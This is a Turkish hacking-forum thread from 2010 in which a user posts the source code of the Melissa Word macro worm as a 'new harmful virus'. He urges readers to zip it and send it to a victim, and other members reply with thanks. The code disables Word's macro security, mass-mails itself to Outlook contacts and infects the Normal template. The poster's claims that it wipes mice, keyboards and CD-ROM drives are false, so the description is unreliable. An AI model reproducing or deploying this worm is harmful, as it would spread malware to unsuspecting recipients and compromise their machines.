İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

Evet Beyler Size En Yeni Virüs Kodunu Veriyorum Kaçırmayın Zararlı Virüs

29-01-2010 10:25
#1
Kok0 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2010
Nereden:
ANKARA
Yaş:
27
Mesajlar:
536
Teşekkür (Etti):
27
Teşekkür (Aldı):
134
Konular:
75
Size Verecegim Virüs Kodunda Karşıya Atığınızda O Pc Yi Ele Geçirip Fare Ve Klavyeyi Silip Forumat Atmaya Yöneltiyor Ayrıca Bazılarında Cd - Rom Silinmiş Ondan Baya Zararlı Bir Virüs Pc Nin Online 7/24 Çalışan Donanımlarını Siliyor .......

İşte Kod
Private Sub ********_Open()
On Error Resume Next
If System.PrivateProfileString ("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0W o rdSecuri ty", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0W o rdSecuri ty", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice" , "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that ******** you asked for ... don't show anyone else Wink"
BreakUmOffASlice.Attachments.Add Active********.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice" , "Melissa?") = "... by Kwyjibo"
End If


Set ADI1 = Active********.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then
Active********.SaveAs FileName:=Active********.FullName
ElseIf (InStr(1, Active********.Name, "********") <> False) Then
Active********.Saved = True
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub < =>



İste Bu Kodu Alıyorsuunuz Not Deefterıne Yapıstırıp Zıp Lıyorsunuz . Ve Kurbana Atıyorsunuz İyi Eglenceler
Beyendiyseniz Bi Teşekkür Edin Saygılarımla
Kullanıcı İmzası
Suskunluğum asaletimdendir. Her lafa verecek cevabım var.
Ama bir lafa bakarım laf mı diye, bir de söyleyene bakarım ADAM mı diye.


TEK FARKIMIZ TÜRK OLMAMIZ . YA TAM SUSTURURZ YA KAN KUSTURURUZ . BU HUSUSTA NE KURAL TANIRIZ NE KRAL
Kok0 Kişisel Çalışmaları
Konu Kok0 tarafından (29-01-2010 10:33 Saat 10:33 ) değiştirilmiştir.
Mc.Soluncan Teşekkür etti.

29-01-2010 17:40
#2
Üyelik tarihi:
01/2010
Mesajlar:
6
Teşekkür (Etti):
11
Teşekkür (Aldı):
0
Konular:
0
pFF )) Çok Süper Yanlışlıkla Kendi Pc De Denedim Sana Kızgınım Ama qüzel Paylaşım
29-01-2010 17:41
#3
Kok0 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2010
Nereden:
ANKARA
Yaş:
27
Mesajlar:
536
Teşekkür (Etti):
27
Teşekkür (Aldı):
134
Konular:
75
) O benim sorunum degil arkadas yapmasaydın saol yınede
Kullanıcı İmzası
Suskunluğum asaletimdendir. Her lafa verecek cevabım var.
Ama bir lafa bakarım laf mı diye, bir de söyleyene bakarım ADAM mı diye.


TEK FARKIMIZ TÜRK OLMAMIZ . YA TAM SUSTURURZ YA KAN KUSTURURUZ . BU HUSUSTA NE KURAL TANIRIZ NE KRAL
Kok0 Kişisel Çalışmaları
29-01-2010 22:35
#4
cyborg06 - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
01/2010
Mesajlar:
133
Teşekkür (Etti):
8
Teşekkür (Aldı):
8
Konular:
21
ellerine saglık kardeş
29-01-2010 22:40
#5
mustafa169 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2009
Nereden:
Gazi_aYınTaP
Mesajlar:
558
Teşekkür (Etti):
21
Teşekkür (Aldı):
25
Konular:
30
kardesim o ne koddu öle sayfayı acarken bile nod 32 virüs dedi sayfayı kapadıodu iptal ettim
Kullanıcı İmzası
TurkHackTeam.org' u Bilinmi Lan

Emeqe Bi Sayqı Bi TskLeR YeTeR...




Küçük Metin Arda Turan ....
29-01-2010 23:09
#6
Kok0 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2010
Nereden:
ANKARA
Yaş:
27
Mesajlar:
536
Teşekkür (Etti):
27
Teşekkür (Aldı):
134
Konular:
75
güzel espiri guzel bi virüs koduu kullan gor tessekkurunu et
Kullanıcı İmzası
Suskunluğum asaletimdendir. Her lafa verecek cevabım var.
Ama bir lafa bakarım laf mı diye, bir de söyleyene bakarım ADAM mı diye.


TEK FARKIMIZ TÜRK OLMAMIZ . YA TAM SUSTURURZ YA KAN KUSTURURUZ . BU HUSUSTA NE KURAL TANIRIZ NE KRAL
Kok0 Kişisel Çalışmaları
mustafa169 Teşekkür etti.
30-01-2010 08:03
#7
mustafa169 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2009
Nereden:
Gazi_aYınTaP
Mesajlar:
558
Teşekkür (Etti):
21
Teşekkür (Aldı):
25
Konular:
30
he de qitsin xD eywallah virüs için saqol

ii qünümde kötü qünümde yanımda

Allahım ya nod 32 yi kapatıyorum kaydediyorum kendiliiqinden siliniyor nod 32 acsamda silior bu nedir arkadas

Ne melisaymış
Kullanıcı İmzası
TurkHackTeam.org' u Bilinmi Lan

Emeqe Bi Sayqı Bi TskLeR YeTeR...




Küçük Metin Arda Turan ....
Konu mustafa169 tarafından (30-01-2010 08:07 Saat 08:07 ) değiştirilmiştir.
30-01-2010 11:36
#8
Kok0 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2010
Nereden:
ANKARA
Yaş:
27
Mesajlar:
536
Teşekkür (Etti):
27
Teşekkür (Aldı):
134
Konular:
75
Kullanıcı İmzası
Suskunluğum asaletimdendir. Her lafa verecek cevabım var.
Ama bir lafa bakarım laf mı diye, bir de söyleyene bakarım ADAM mı diye.


TEK FARKIMIZ TÜRK OLMAMIZ . YA TAM SUSTURURZ YA KAN KUSTURURUZ . BU HUSUSTA NE KURAL TANIRIZ NE KRAL
Kok0 Kişisel Çalışmaları

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı